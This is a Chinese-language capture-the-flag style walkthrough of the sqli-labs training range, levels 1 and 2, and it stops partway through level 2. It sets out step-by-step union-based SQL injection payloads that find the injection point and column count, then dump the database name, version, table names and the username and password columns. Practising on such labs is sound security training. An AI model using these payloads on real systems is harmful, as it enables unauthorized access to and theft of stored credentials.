【sqli-labs】sqli-labs 靶场通关（1-16）

🏘️个人主页： 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦

---

sqli-labs 第一关 Less-1

判断有注入点且闭合方式是 ’
使用and ‘1’='1判断他为字符型注入

输入?id=1 正常
输入?id=1'  报错
输入?id=1'--+ 正常

判断回显位,有三个。

?id=1' order by 3--+   正常
?id=1' order by 4--+   报错

判断只有2,3位可以回显

id=-1' union select 1,2,3 -- -

联合注入
获取当前数据库名和版本号,通过结果知道当前数据库名是security

?id=-1' union select 1,database(),version()--+

爆出表users

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出字段：username,password

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

得到对应的username和password

sqli-labs 第二关 Less-2

和第一关是一样进行判断,输入单引号或者双引号可以看到报错，且报错信息看不到数字,猜测sql语句应该是数字型注入。

判断回显位
?id=1 order by 3

?id=-1 union select 1,2,3

爆库
?id=-1 union select 1,database(),version()

爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’

爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’

查数据